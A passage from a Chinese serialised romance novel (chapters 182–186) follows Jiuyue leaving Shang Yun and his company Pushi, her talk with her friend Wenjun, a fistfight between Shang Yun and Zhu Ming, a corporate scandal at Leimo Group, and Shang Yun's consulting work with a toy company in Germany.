“你为什么离开普世?你有什么私人事情要去处理?” “既然是私事,烦请尚总留给人起码的尊重!”九月驳回。 “你看着我,你再说一遍。”尚云伸手将她的脸扳过来,他深不见底的墨眸里只有无尽的沉痛,“我是谁?我是谁!” 九月坚定的目光,在接触到他的如炬目光后,有了一丝退缩。 “你告诉我,我是谁!”尚云大声问,将九月吓了一跳。 她张了张嘴,说出口的却是:“我们分手吧。” 尚云没想到她会说这个,显然也是怔住了。“九月,你说什么?” 九月又重复一次,“我们分手吧。”声音很轻,却字字清晰。 “你说在一起,就在一起,你说分手,就分手。你说不公开,我就不公开。九月,两个人的感情,在你心里意味着什么?你将我当成什么了?”尚云犹如遭到晴天霹雳,失控诘问。 车窗外的风很大,吹得街道上的树尖剧烈摇晃。 行人缩着身子,快步跑过去。 不一会儿,豆大的雨点落在挡风玻璃上,雨由疏而密,铺天盖地瓢泼下来。 车内的气氛很压抑,比起外面宣泄般的雨水,更让人窒息。 九月推开车门,很快被尚云拉了回来。雨水疯狂的灌进门鏠里,九月的衣服被打湿了。 尚云一欠身,把她那一侧的车门拉好。脱下身上的外套罩在她身上,他的脾气消匿无影无踪。 一种浓浓的挫败感萦绕在他周身。 对九月,他真是一点办法也没有。 九月垂着头,头发随着她周身的颤抖而微微抖动。他将车里的暖气打开,望向九月的沉静目光复杂而又极其伤痛。 他微不可闻的叹息,替她系好安全带。 “我们结婚吧。”他说。 五个字沉沉地落在她心口,她终于有了一丝反应,抬起头缓缓看向他。 他满脸倦色,静静看着她,似乎经过了一番深思熟虑:“我们可以像无数家庭一样,有自己的孩子,有一日三餐,有人管我们叫爸爸妈妈,如果你不喜欢在公司做管理,你就去做你喜欢的事,绘画,或者你就在家跟孩子在一起,我下班回来能看到你和孩子,这就很满足了。” 大颗的眼泪从她大眼睛里滑落,一颗接一颗。 他执起她的手,“我不轻易开始,一旦开始,也不想轻易结束。九月,希望你也一样,能慎重对待这份来之不易的感情。” 九月无言望着他,尚云向她描绘的未来,是她做梦都渴望的幸福。 “子玥,她是个好女孩。”说这句话,她仿佛耗尽了全部力气。 听到她这句没头没脑的话,尚云知道他所向往的未来,不过是他一厢情愿。她明知道他坚定选择她,却依然要将他往外面推。尚云不可置信地睁大眼睛,他看不懂眼前这位女子,曾经在他面前单纯透明没有秘密的她如今晦暗如深。 良久,他无力地松开她的手。 “好。”尚云说。 九月不知道他这一句“好”,意味着什么。心里有一整块地方往下陷,不断地沉陷,掉进黑咕隆冬的深渊。 从黑暗里伸出无数只手来,要拉住她,劝她回头。 她痛苦至极,摆在大腿上的手一用力,指甲扎进肌肤,靠着疼觉才能保持不动声色。不一会儿,眼底浮动的泪光已消散,只剩一片死寂,脸上恢复了冷漠,“麻烦尚总送我回去。” 他没有再说一句话,依言重新启动车子,一路冒雨疾驰,回到了公寓。 九月没有回自己房里,去了文菌那边。敲门很久,文菌才打开门。她用毛巾擦着头发,一看就是刚从浴室里出来,携带着一股含着香味的热风。 “九月。”文菌有些惊讶,将神色木然的她拉进来。 第一百八十二章 文菌就是红尘客 她将九月按在沙发上坐下,又去倒了一杯柠檬茶。九月啜了一口,微微抿唇。没有预料中的酸涩。 “加了蜂蜜,酸中带甜。”文菌解释道。“生活给我们出各种各样的难题,就像给了我们青桔,柠檬。我们没有权力拒之不要,也无法逃避。但要是直接吞咽,一定难以下咽。只能靠自己加工,放入喜欢的甜密的事物一起消化。人生在世,重在体验。” “人生在世,重在体验。”九月喃喃重复。 文菌去了浴室用吹风机吹头发,嗡嗡的声音传来。 “你知道我会来找你?”九月大声问。 吹风机戛然而止,文菌走出来。“说实话,我不知道。但我看你的神情就知道你此时心情不好。” “听说撸猫能让心情缓解,洋洋呢?一年没见,我在这里坐了这么久也不见它出来?” “洋洋的事一直没机会跟你解释。”文菌低了低头,试着组织语言跟九月说清楚。 九月狐疑看着她:“又失踪了?” “不。”文菌摇摇头,“洋洋涉嫌生物监控技术,已经寄往海外研究机构查验。” “你在说什么?”九月是真没听懂。 “尚总的望月居失窃,可能跟洋洋有关。它的眼睛有可能已经被人做过手脚,或者说,洋洋已经不是失踪前的洋洋。” “这事情我没听尚总提起过。”九月惊诧道。对她只字未提,但他却可以跟文菌提起此事,洋洋去过望月居的事情,就像她跟尚云的关系一样,在她看来这是个秘密。 既然是秘密,就不应该有他们之外的人知晓。 “我也是在尚总亲自来讨要洋洋时才得知此事。他怕你担心,没跟你提。我也就没主动跟你说起。” 九月短暂地笑了一下,撇开眼睛。她心里不是滋味。文菌和尚云,都是禁欲系一般的性格,很像。 正因为像,所以没有半点可能。 “如果是你,你会怎么做?”九月调整好情绪。 “无论发生什么,都不会让它在我头脑中过夜。向来如此。”文菌打开一个盒子,舀一勺白灰色的檀粉放入精致香炉里,划亮火柴。 如今已经很难再找到火柴,但文菌这里一直都有。她喜欢这种仪式感十足的用具,古老而经典。 檀粉被点着,袅袅细烟升腾至房间上空,文菌盖上盖子,盘腿坐在沙发上,她望着九月。 “文菌。如何做到你这样宁静和安定?”九月说,“认识你以来,你总是这么情绪稳定,毫无波动。” “接受。”文菌简单说了两个字,见九月皱眉不解,又解释道:“事与愿违是造成内心冲突导致心情不好的重要因素。但如果任何事物发生后你第一时间接纳了它,让它为你所用,跟你的节奏运转,沉淀,它就无法跟你形成冲突。” “很多事情根本无法接受。”九月摇头。 “你能改变吗?” 九月又摇头。家庭变故,她无法改变。但她愿意努力为父母沉冤昭雪,让恶人伏法。地鬼一天不除,她就很难再启笑颜。“已经故去的人,如何起死回生?” “对,如你所说。人已故去已经不可能起死回生。人很难感同身受他人的处境。但如果我面临这样的局面,第一时间会接受,只有接受才能更好的解决,哪个阶段发生的事,就让它停留在哪个阶段,及时止损。让余下的日子不受这件事波及。如果因为一件事波及整个余生,这是最不合算的事。对自己不公平,对余下的生命中出现的人事物也不公平。” “文菌,你失去过的最宝贵的东西是什么?”九月轻轻问。 “家,生命。” 九月愕然看着她的眼睛,仿佛在证实她没有说谎。 “你......” “我是孤儿。”文菌淡淡笑了,“我有很严重的生理缺陷,先天心脏房室不全,生下来就如此。”她将自己的睡袍解开两粒扣子,露出胸口丑陋疤?。“所以,在生下来没多久我就被抛至医院旁边的垃圾站。如果养父母没从那里过,我的生命只有二十八天。” “文菌。”九月疼惜地将她睡袍扣好,“想不到,想不到你......” “我养父母无法生育,他们是一对人民教师。我做过三次大的心脏手术,尚未完全痊愈。养父母毕生积蓄都花在我身上治疗我的先天性心脏病。”文菌手抚着胸口,轻轻笑了一声:“我不知道老天会何时收回我这条小命,所以,如何过这一生,这是我很小就思考的事。人生大事莫过于生死,任何事情与生死放在一起都不足为谈。既然上天有好生之德,让我继续留在人间,那必然有它的意义。让自己好好活着,帮助更多的人好好活着,做到这一点已经非常难得,我就按这个标准活着。” 九月内心受到的振憾自是不必言说,她过去十多年,一直沉溺于家庭变故无法自拔,相比于文菌的遭遇,反倒像无病呻吟。 “我不该将文创信息部这么重的担子压在你肩上。”九月突然想到工作上,文菌在负重前行。 她又笑了笑,“你不必用一个病人的眼光看待我,我自己也不曾把自己视作异人。尚总知道我的情况,我第三次手术还是他出资交齐费用。” “什么时候的事?” “六年前。”文菌说,“我大四那年实习,跟同学做一份销售推广工作时,突然晕倒。是他停下车,将我送去医院,联系上我的养父母。” “所以,六年前你就认识尚总了?” 文菌点点头:“我从小好静,喜欢阅读。累积不少学识。大学四年,我利用学识在互联网上经营经尘客论坛,答疑解惑。没想到无心栽柳柳成荫,红尘客居然广收欢迎,毕业后我没有再找工作,直接创办了红尘客频道自媒体公司。” “红尘客?”九月总觉得文菌跟红尘客有说不清道不明的相似之处,原来真的是同一人:“原来真的是你。红尘客当年那样火,为何突然就消声匿迹了?是因为身体原因吗?” “不是。是因为我知道尚总创业普世公司,他的事业更为宏大,理念更吸引我。我就来了。” 九月像是明白了什么,女人天生的直觉告诉她:“文菌,你喜欢尚总。” “我也喜欢你。”文菌很巧妙的回答了九月。 九月释然,轻轻一笑,喝了一口蜂蜜柠檬。“你不用这样,公司有很多人暗恋尚总,他有这份魅力,我并不奇怪。我的意思是,我要走了,不知道还会不会再回来。”尚云不是物品,用不着自己出让,她也没有自己想像中那样大度,所以,有些话点到为止。 “你要去哪?”文菌并未深究她话里的意思。 “去完成十五岁那年就该完成的事。”九月又喝了一口,抿了抿嘴唇,放下杯子,站起来准备走:“谢谢你跟我推心置腹说了这么多,我很幸运有你这么一位朋友。照顾好自己,好好的。” “九月。”文菌叫住她,“尚总心里有你,你不妨勇敢一点。” “我知道。我在他面前肆无忌惮,就是知道这一点。”九月笑得很无奈,也很心酸。 这次文菌也有点困惑了,“你知道?为什么不成全自己?” 第一百八十三章 尚云批准九月辞呈 “如果头上悬着剑,我们在剑下再开心,也始终有死亡阴影。”九月转身,“我是悲观主义者,无法做到无视剑的存在,做不到与剑共存。这样的幸福没有安全感,随时会被毁灭。” 文菌知道这把剑在九月心里,别人无法替她取下来,只有靠她自己:“我很想问你一个问题。” “你问。” “尚总在你生命里占几分?”文菌说完,似乎感到不妥,又道:“你可以仔细想想,但不必回答我。” 九月没有急着回答,她沉默了良久,“你这是以什么立场问这句话?” “我没有立场,我说过,你不用回答我,我替你问的,你必须回答你自己。”文菌走到九月跟前,重复道:“你如果然要走,你必须回答你自己这个问题。有些人不要轻易放手,有些事不要急着去解决,代价都很沉重。” “我这一生没有什么高远理想,也没有什么盼头。孑然一身,像一棵沙漠之草,天旱了蜷曲着随风飘,雨水丰沛,再伸展根须吸点水氛活命,这生活也自在。直到再遇到他,我又燃起希望,生出十五岁之前的余念,想活成一颗松柏与他并肩而站。如果没有他,我生有何欢,死又何惧?” “既然如此,”文菌握住九月冰凉的手,“阿闲没了,这件事你知道吗?” 九月如五雷轰顶,半晌才明白文菌在说什么,“闲哥?我已经好久好久......没见到他了。他怎么就没了?” “尚总知道他离世的消息,在书房吐血丢掉了半条命。你如果再有个闪失,会送掉尚总另外半条命。”文菌声音很轻,仿佛说出来的每个字都像敷着薄冰,呼吸稍微不匀,就能让薄冰脆裂。 她很想知道文菌怎会知道这些,但文菌所说的内容席卷了九月的全部注意力,她一直以为尚云是胃疾发作导致胃出血,却不知道背后有这样的隐情。 奈何,开弓没有没回箭。 她有半只脚已经跨出去了,而今晚遇见旧恨,更是让她横下心来铤而走险。她不喜欢时时刻刻活在他人的死亡威胁里,只能背水一战。 “文菌。每个人有自己的活法,有人些这辈子可以安居于颠沛流离,却一分钟都无法苟且。洋洋继续委托给你,我居无定所照顾不了它,你们保重。”九月打开门,大步流星离去。 九月执意离开了普世。 尚云大手一挥,在她的辞呈上批下了同意,笔尖的力度划破两张A4纸。 木信望着他那阴沉的面色,大气都不敢喘。 实际上,尚云并未发脾气。虽神情阴翳,但语气如常,属下们汇报工作时,他思维敏捷,轻易点出疏漏之处。 夜幕降临。 新来的助力小蔡给他第二天行程发了邮件,他收到邮件回复“知道了”。 隔壁办公室灯熄灭了,外面传来敲门声,九月在职时喜欢这样,下班前直接关了灯,然后来他办公室汇报一些事情。比如第二天要去某客户出差,明天上午不来公司等等。 他失神的眸子一瞬间亮了,但看到小蔡的面孔后,那抹亮光一闪而逝。 “尚总,明天七点飞德国。我去望月居接你还是在公司等你?” “直接在机场会合。”尚云说。 “好的。那尚总我先下班了。” “嗯。” 小蔡走后,尚云站起来。 他回了公寓,在门口站了一会儿,最终移步走向旁边一扇房门。 门并没有锁,屋里很黑。他按开墙上的开关,看到屋内陈设几乎未变,就像她还住在这里的样子。 他走至卧室,床铺整齐,叠成豆腐块。这是公司要求的。 她原来放在桌下方的行李箱不见了,桌上有一些书和画稿,一张张画稿都是同一个背影,尚云一眼便认出来,那是少年时期的自己。其中一张画稿底下写着一行娟秀的字:世上最苦的不是未加糖的黑咖啡,而是幸福触手可及,我却不敢伸手。 尚云鼻头一酸,将这幅画稿折叠好,攥在手里。 他在她的床铺上坐下来,手掌轻抚柔软干净地床单。枕头下寒光一闪,吸引了他的目光。 他起身挪开枕头,一把森白锋利的匕首静静躺在那里。 尚云皱了皱眉,突然想到什么,他给九月打了一个电话。 此时拨过去只传来机械的电子音:“你拨打的电话无法接通,请稍后再拨......” 他开着车一路来到朱明公司,此时正值下班高峰。 尚云出现在大厅,气宇轩昂让人移不开目光。有一位导医过来询问,尚云说,“我找朱明医生。” “好,楼上请。” “没事,上次我去过他办公室,你去忙吧。”尚云谢绝她的引领。 朱明跟书瑶正在讨论一个病人的案例,听到敲门声两人俱转头看向门外。 “书瑶,明天会上大家再讨论,你先下班。” “好。”书瑶离开办公室。 “尚总光临,一定是大事。”朱明示意他坐下来,他不会自做多情以为尚云来见老朋友拉家常的。 尚云眉宇轻皱,神情凝重:“你应该知道我是来找九月的。”他站着没动,开门见山。 “九月?”看朱明吃惊的样子,应该也不知道九月下落。 “她离开普世,电话也换了,我联系不上她。”尚云说道。 朱明先是一惊,他狐疑走至尚云跟前:“你跟九月发生什么事了?你是不是欺负她了?” 尚云没心情跟他解释这些,不耐烦的转身就要走。 “你别走。九月不是任性的人,不高兴了最多不喜欢说话,不可能玩失踪。你是不是欺负她了?她为了普世一个人在外面把自己活得像台机器一样,每次再晚打电话她都在忙工作,你怎么忍心欺负她!”朱明冷硬愤懑的态度,像是随时会暴发。 两三年前刚重逢时,她跟小竺成天价的哪里有好吃的、好玩的,都去逛遍了。她工作之余再喜欢画画,也是有活就连夜赶,没活儿了就成天散漫自在。 何曾活得像现在这般拼命三娘的模样。 尚云答非所问的说:“你比当年多了点男人味。” “为什么不回答我?”朱明被他惹怒,对他好整以暇的样子更加生气:“你从头到尾是不是利用她?利用她对你的感情,利用她为了你什么都愿意付出。” 尚云听到“利用”两个字,回头眯着墨眸,清湛的目光里隐含危险,如幽潭般深不可测:“朱明,看在你真心担忧九月的份上,今天我不计较你今天的态度和措辞,我跟她的事是家事,轮不到一个外人介入。” “好一个家事!可笑之极!”朱明咬紧牙关,控制冲上去揍他的欲望,冷声道:“你如果把她当成家人,当年为什么抛下她去独享荣华富贵?如果把她当家人,又为什么从头到尾让她叫你高高在上的尚总?你在慕家五年,她全家上下对你仁尽义至,现在你竟然恃强凌弱,压榨干净不管不顾让她失望透顶,十年没换手机今天居然为了你连手机号码都换了,一个人要多失望才消失得这么彻底!” 尚云沉着脸,不发一言。心里震惊,表面却风平浪静。眼底颜色渐渐变深,听朱明一字一句如铁钉一样锤进心脏里,冰冷而彻疼。 第一百八十四章 尚云与朱明为九月打架 过往的种种崩裂开来,强忍的记忆也突如其来。本不再计较的恨,再度侵袭他的理智,他猛地冲过来,拧住朱明的衣领沉声说道:“够了!你什么都不知道,不要在这胡言乱语,我的忍耐是有限度的……” “我的忍耐也是有限度的!”朱明气到极点,男儿血性沸腾,握拳就照尚云门面打过去。 尚云想不到他会动手,被结结实实打在脸上。鼻孔立时流出殷殷鲜血。 回过神,也是身手矫健回过去一拳,他本身就有功夫底子,虽然经历过一场手术,却一点儿也没影响他的功力发挥。朱明当然不是他的对手,被他一拳打倒在地。 要不是尚云留了力道,只怕朱明下颌都要被打掉。 他摇摇晃晃的爬起来,嘴角带着血,又挥过来一拳,被尚云用手格挡一下,重重往后一推。朱明失去重心倒退了几步,带倒一把椅子。 尚云无心恋战,说道:“朱明,你不是我的对手,我不想伤你。我跟九月不是你想的那样,如果你真担心她的安危,一旦有她的消息,请一定要第一时间告知我。” 朱明自知不是他的对手,坐在地上喘息。理智慢慢回笼,回想以往,尚云视她如命,向来宠着她溺爱她,唯独不可能欺负她。 这些他素来是知道的,是嫉妒心,让他失去基本的判断力。 尚云离开朱明的公司后,坐在车里给莫诚打了一个电话。对于九月的消失,莫诚显然也非常意外。 一听莫诚惊讶的语气,尚云就知道他也不知情。 九月的社交圈子很小,平日除了跟公司里同事来往多一些,也没有其他的人际关系了。 想起去年春节,自己陪她去了一趟宇老师家,回来后她手里就多了一份卷宗。现在想来,她后来对他有所隐瞒就是从看了那份卷宗开始的。 解铃还须系铃人。 他觉得有必要去一趟宇老师家。 凭着依稀残存的记忆,墨色轿车停在一东别墅前。一位菲佣听到门铃响后前来开门。听尚云说明来意,客气将他请进会客厅。 艾勒去书房的间隙,尚云瞥见桌上一本看了一半的书籍。 宇老师在学校担任教授,又是书香门第,家里有书籍并没有什么好奇怪的。 奇怪的是书看了一半,合上的时候直接用封皮作为书签,长出一截的书皮刚好夹住已看完的一半。这样下次翻阅的时候,直接就能翻开了上次那页。这个特别的方法是九月惯用的,所以看到桌上同样的书签方式,尚云心里便猜测九月来过。 “先生请您去书房见面。”艾勒出来跟尚云说道。 尚云进了书房,宇老先生正在作画,一头卷曲垂肩的白发很整齐。听见尚云脚步声,他声调柔和地说道:“你叫尚云,我没记错吧?” “正是晚辈。这么晚打搅实在抱歉。” “这没什么,我的起居时间有别于正常人,灵感兴起,半夜作画时常有之。只是你深夜匆匆来访,所为何事?”宇老先生停下笔触,将色彩盘轻轻放在一旁的三脚桌上。 尚云扫视一眼,悄悄打量房间里:“实不相瞒,九月从公司离职后沓无音迅,我担心她孤身在外飘凌受人欺负。她在这世上能依靠的人不多,如果宇老先生看到她,能否帮我转告,请她无论如何都要来找我,遇到千难万险我可以跟她一起面对。” “我不知道你们之间发生了什么,但我很好奇,既然你有这份决心,当初为何让她有机会从你身边消失?” 尚云被问得哑口无言,“是大意,也是太过自信,我一直把她当成十几岁的女孩,那时她对我不会有任何隐瞒。”宇老先生怎会听不出他语中谦逊实有责怪的意味,九月的离开是自己给了她秘密信息,导致她执意离开。如果她遇见任何安危问题他只会找自己来讨公道。 “哈哈......”宇老先生肆意而笑,“一日为师,终生为父。一个老父亲尚且不敢要求孩子对自己毫无隐瞒,更何况她与你只是五年的兄妹情份,一年的伯乐关系?每个人都有选择权利,她亦不再是事事离不了人的小丫头。成年人做事有自己的考量,自由和担当,我作为她的师父,充分尊重她。你请回吧。” 这番话也是说得滴水不漏,却句句戳心。 尚云也从他看似慈善的言辞当中,看到了不满和犀利。两方话里话外都透着几分修养和客气,暗地里已是剑拔弩张。 他的锐利目光投注在屏风上,九月其实就在屏风后面坐着。他们的对话她一字不漏地全听到了。 她低头看了看腕表,已经十一点多。坐在旁边的是宇琪,他不发一言,盯着九月的神情有几分了然。 只听尚云的声音再度传来:“尚某一生当中最看重的只有两件事物:一件是头顶的太阳,一件便是心头的月光。头顶的太阳便是普世,挣脱了阴霾,正在冉冉升起,充满希望;月光就是九月,此时还藏在山谷,它低估了我将用后半生陪伴它的决心,也低估了我与月光并肩作战同进共退的誓言。既然宇老先生也不知道九月去向,那晚辈就不打扰了,告辞。” 尚云离开了房间,九月从窗口向外张望,看到他的墨色轿车渐渐远去。 “人都走了,别看了。”宇琪看她十分不舍,出言提醒。“你现在后悔还来得及。” “怎么可能后悔?”九月表情凝重,怔怔道。 “其实也没必要隐瞒他,他看起来也不像不能扛事的人。” “我不希望他卷进来,整个普世都压在他肩上,他刚才所说的太阳,明面上是普世,实则是指普天之下的希望,凡人俗胎都会面临的宏观环境,他将它看作是普世公司的使命。他做的是明面上的事,他也是彻底光明磊落的人。” “你想说什么?”宇琪嘴角微微一勾,语气中不大苟同:“我们要做的事情也是为了人权道义,可听着你这话,厚此薄彼太明显。” “我们要做的事你不敢摆上台面。没有人会支持,正邪两边都不讨好。无所谓,我们无事一身轻如履平地,如果告诉他,他却要踩着钢丝过空谷,这对他不公平。”九月从屏风后走出来,看到重新执起画笔的老师,说道:“老师,谢谢你替我隐瞒。” “你跟琪儿准备要做的事,我不反对。我这把年纪了,虽然到了安享晚年的当口,如今却要为你俩担惊受怕。可这个世界暗潮涌动,总归要有人挺身而出,否则永无宁日。”宇老先生沉沉叹息道:“为了安全起见,还是要从头计议,不可莽撞!” 说完,再次撂下画笔,“我去休息了,你们也早点睡。” 宇琪双手插在裤兜里,他跟亲爹向来无话,此时也生出恻隐之心,出言朝他的背影安慰说:“不用担心我们,我这些年早已有所布署,万无一失。” 宇老先生稍作停顿,然后头也不回地出去了。 万无一失?一朝不慎便满盘皆输,连尸骨都找不回来,这话安慰老人罢了。 “明天我们就按你的计划行事,早点休息。”九月也走出房子,去了二楼客房。 一夜安宁。 第一百八十五章 尚云出国推广新项目 第二天,尚云和小蔡去了德国,而九月和宇琪则在一个小时后去了美国。 国内并非表面上那样平静。 正如雷默与克普公司内乱一样,各种势力均想在大树倒下之前求得自保,林作杰因为箫小竺举证报警杀死箫章一案,在医院被捕。 林作杰认罪,并且曝出猛料,“箫小竺当初投资克普公司,名义上挪用了雷默30%资金投入,可从真实的财务报表中查找蛛丝蚂迹,克普公司只不过咨询行业,硬件投入有限,软件方面也都是抄袭普世科技,自己就像空手套白狼,并未付出什么成本。 从头至尾各种投入林林总总也不到对外宣称的三分之一。其余的资金都用于生物科技的研发,至于哪来的生物科技项目,要箫小竺亲自出面做出解释。” 宝宁市的媒体被这个真相刷屏了,各大股东坐不住,纷纷联系箫小竺,甚至跑到箫小竺的家中要求出面回应。 但箫小竺的电话关机,豪宅也早已楼去人空。 雷默集团的内部矛盾被各界关注,丑闻盖过了它一直以来的盛名。股民早就抛售股票,雷默市值蒸发殆尽,在一夜之间跌入谷底,曾经盛极一时的权威也在瞬间清零。 这也加速了克普公司的死亡,早在普世蒸蒸日上时克普公司就已经风光不再,此时雷默集团树倒猢狲散,波及旗下各大投资的各行各业,就连刚有起色的景程也在挣扎一番后,再次轰然倒下。 整个雷默集团带给商界尤其是宝宁市的灾难,牵连无数,无法细数。 “箫小竺”三个字也被抛上了风口浪尖,人人喊打。莫诚向来与雷默撇得一干二净,此时倒是免受牵连。他将母亲琳达接来自己的豪宅里,出售南庆庄那座大宅子。 “也不知道小竺在哪里?怎么样了。”琳达满面愁容摇着摇篮,宝宝如天使般人畜无害的容颜有七分像小竺。 儿女再不堪也是自己身上掉下来的肉。琳达像很多中国典型的母亲一样,对小竺有着广博的宽容心胸。 “妈,外界所传并非空穴来风。”莫诚替母亲削着水果,从头至尾站在客观角度。即不跟着外界批判小竺,却也未曾像母亲一样对小竺抱持偏袒。 琳达看了看莫诚:“你是不是知道什么?你是兄长,知道她走错了路为什么不劝劝她?” “小竺不是你以为的年少无知,相反,她知道自己要什么,非常深刻的知道自己要获得什么。”莫诚将削好的苹果放在母亲那头的桌上,语气中满是无奈。“那是父亲的地下产业,原来没有那么大的规模,也从没准备投入生物科技研发。只是一些小买卖。现在小竺已经将它发展为摆不上台面的大买卖,伤天害理的程度跟之前的性质无法相提并论。” 莫诚隐晦的披露中,琳达已经明白是怎么一回事了。她泪水涌上眼眶:“你知道她在哪?” “我不知道。反正不在宝宁。” “你要制止她,她是你妹妹,亲妹妹。”琳达摇头,她想不到小竺会变成这样失控的人。 “妈,你以为我不想吗?她连父亲的劝告都置若惘闻,我的话在她耳边又算什么?为了这事她早将我视为她的仇人了。” “我不管,你得想办法找她,去啊!”琳达捂住嘴,不让自己的呜咽吵到宝宝,但宝宝似乎感应到大人的痛苦,在摇篮中扭动身体,小脸涨得通红,酝酿半天“哇”一声哭出来。 琳达抱住他,边哄边哭,大人小孩哭成一团。 莫诚皱着眉,叹息一声,开门出去了。 找到小竺是天方夜谭,她只怕早已悄悄潜逃。莫诚想到了东维恺,自从上次在南庆庄的家里遇见他们,就再也没见过东维恺了。 找到东维恺才有可能找到箫小竺。想到这里,莫诚开车去了东家。 地球的另一端,尚云刚下飞机时,接到严教官的电话。 “老板,九月出国了。” “去了哪里?” “美国。” “好,我知道了。”尚云收起电话,自昨晚确定九月在宇老先生家里,他就派严教官留意他们家的动向。果然不出他所料,九月确实在宇家。 只是他不知道九月出国做什么,如果猜测没错的话,她离开自己唯一的目的是为自己的父母讨回公道。出国又算怎么回事呢? 也好,维克那边一直没有消息过来,他打定主意要亲自过去一趟,跟进洋洋的情况。一切等完成这边工作再说。 普世公司在海外已有了一定的根基,但离目标还差得远。 他不急于横向发展,国外不像国内,在企管领域做得非常不错的同行大有人在,他必须让普世团队深化自己的服务领域。 很多研发出来的项目还没有面世,严格来说还在试验阶段。 前段时间,公司内部试验成功了。尚云此次亲自出国宣讲,希望客户能免费试用新产品。“如果试验成功,你们拥有双倍成效。如果这项产品失败也不会造成什么损失,只会给你们的研发工作多提供了一个思考方向。” “我们的新项目将企业文化与管理混合效能,应用此流程,让公司每个管理者是文化专家,每个文化工作者也是管理专家。做到配合战略提前设计人才布局与潜能孵发培育,大胆设置产品开发模式培训课程。争取企业在这个模式下,能创新出优化、升级版的产品。 因为,在这么多年的企管咨询下,我们发现客户的痛点在于企业文化和战略上无法同步,最大的缺陷就是文化指向创新,然而公司没有创新能力去支撑战略实力。所以文化就成了干喊口号,苦于无法突破桎梏。 客户的痛点就是我们普世的痛点,这是值得我们攻克的地方。现在研发成果出来了,随时等侯端上桌。请各位客户给我们一点信心,勇敢做第一个吃螃蟹的人。” 合作者们在台下议论纷纷,面露迟疑。 “我愿意做第一个吃螃蟹的人!”一位中年人站起身,微笑表态。 旁边工作人员悄悄跟尚云介绍,“这是我们在德国的客户祖齐国,是基克纳创始人推荐过来的朋友。” “好!祖先生相信普世,普世拼尽全力必定不会让你失望!”尚云也立即回应道,感激之情不言自明。 其他人见有人现场表态,一时松动,放弃犹豫,抢先占了另外几个试点名额。 尚云散会后,特意留下祖齐国谈话。祖齐国是普世在国外第一个同胞客户。 祖齐国也很热情,两人相谈甚欢。本土的企业家离乡创业,其中艰难自是不必说,大有同为天涯沦落人的感受,彼此心照不宣。 “我不是打官腔,普世向来客户至上。但听闻你是张董介绍过来的,说实话,没有基克纳就没有普世的今天,如今你又力挺普世的项目成果,冲着这份恩情尚某不会让它有任何闪失。祖总尽管放心,我会亲自全程把关,带领团队把项目移植到你公司直到成功。” “言重了,我正是相信张董,也相信普世的专业能力,更相信你的为人,才敢当众表率。不过,你这么一说,我就更加无后顾之忧了。”祖齐国自然是相信他的,何况之前麦迪公司与普世合作也见证过普世团队的专业能力和服务水平。“我有一位国内的朋友,他的公司也在附近,听我提起普世一直想拜访你,可惜你太忙,不一定在国外。择日不如撞日,我看不如借今天这个机会一起喝一杯,不知是否方便?” 尚云想了想,欣然答应。发消息跟小蔡说将今天的计划推迟一天。 第一百八十六章 帮扶华侨公司 接下来半天,祖齐国将尚云带至福克斯公司,这家企业规模很大,做的产品都是高端智能玩具。 福克斯的创始人年岁已大,接手的是独生子乔克,在德国土生土长,中文不太好,他的母语是英文。不过尚云的英文流利,两人可以无障碍交流。 乔克特意带着尚云和祖齐国去公司各个部门转悠,“老早就听齐国夸赞普世做的好,我国内的朋友也都说起你的诊脉功夫很厉害。我的公司你可以随便看,随便问,只希望你能直言不讳,好的坏的都跟我说。” “当然,发现问题才能解决问题,隐瞒不报就是失职。你放心,我会客观看待问题,工作中不会掺杂交情,不存在一昧说好话。”尚云看了看祖齐国,又看看乔克。 “那就太好了。”乔克笑道。 尚云向乔克了解福克斯的发展历程,又看了创立之初和现在的经营理念以及坚持的信仰。他又单独一人穿着福克斯的工作制服在车间和办公楼里活动。这样的自由,在国外还是第一次享有。 回到乔克办公室,综合跟乔克了解到的细枝末节,一针见血的反馈:“公司的流程设计挺好,没必要变动。但公司西化得很厉害,创立之初的理念也已淡化。 这可能是你觉得很被动,做决策受到市场和政策挤压的原因。而内部也没有精神内核去抗争。导致外界看着繁荣,实则入不敷出了。” “事实上,市场看似是自由的,其实只要有人的地方就一定能被引导。 我们可以主动选择市场的。打定主意给产品定位,塑造相应的品牌和质量说服市场就可以了。当然,也要考虑市场需求,但没必要一昧迎合市场,它的背后如果有人在操控,那你的迎合就是把鼻子凑过去让人牵着走。” 乔克不太懂,但祖齐国倒是听明白了。他们两家本是世家,关系向来不错:“你是搞技术出身,原来老爷子有自己的理念,你埋头做技术,这让你们父子齐头并进,各展所长。 现在情况不一样了,老爷子退居二线,你也不太过问经营理念,跟着市场的风吹草动失去了主心骨,技术也一变再变,迎合市场,自然就没有竞争力。 如今各行各业都饱和了,做智能玩具的企业也有不少,你要创立自己的特色,拿出自己的坚持,才能占据一席之地。否则,客户凭什么坚定地选择我们?” 经过祖齐国这么一解释,乔克算是明白了。沉思少顷,最后重重点头。 尚云赞尚地点点头:“祖总的解释入木三分,就是这个意思。其实并不复杂,你是技术出身,那就更好办。产品任何功能,具有何种深意,解释权在你。只要戳中玩家的点,你的解释就是王,就是理念本身。 另外,我建议你给公司设计的产品上赋予独特的理念,在经营决策上必须有文化内核。你向外界卖产品实则在向市场销售公司的设计理念,你的产品带给别人不同的认知,并且将理念深植人心,那就是公司的独特之处,绝无仅有。 很多人选择产品,不仅仅在于它的功用,而在于产品背后的理念价值或者精神价值。因为市场竞争太大,同样功能的产品太多太多,我们必须坚持自己的立场,依靠自己的正确理念和优秀文化突围而出。 有些时候,我们对自己的理念和文化不够自信,就容易被外界冲散精神。举个很简单的例子,成熟的理念和文化是坚定的,就像一棵大树,暴风雨拿它无可奈何,它完全可以抵御这些狂魔乱舞的现象。反之,如果不够坚定,就像一棵扎根未深的树苗,很快就能被连根拔起。” “那现在给产品塑造理念和文化还来得及吗?” “完全可以。国内有一句名言说的特别到位:种一棵树最好的时间是十年前,其次是现在。”尚云微微一笑。 当下,双方达成共识签署合约。 晚上找了一家中餐厅吃饭,一顿饭的时间,三人很快成了朋友。 尚云将福克斯的项目交给团队去运作,他做了一些意见指导。 不过,鉴于乔克在公司经营上的经验不足,尚云跟乔克倒是另作了一番叮嘱:“你要率先垂范做好榜样,无论在抉择上、还是利益冲突下,都要注意坚持你的理念和公司核心价值观,可能不会在短时间见效,但坚持这么做,你的认知会改变团队的认知。 另外,设立制度,一方面本身包含了核心价值观和隐性文化,一方面是用来维持文化的执行。说白了,制度就是对违反公司价值进行惩处,对积极执行价值观的人进行维护、支持。” 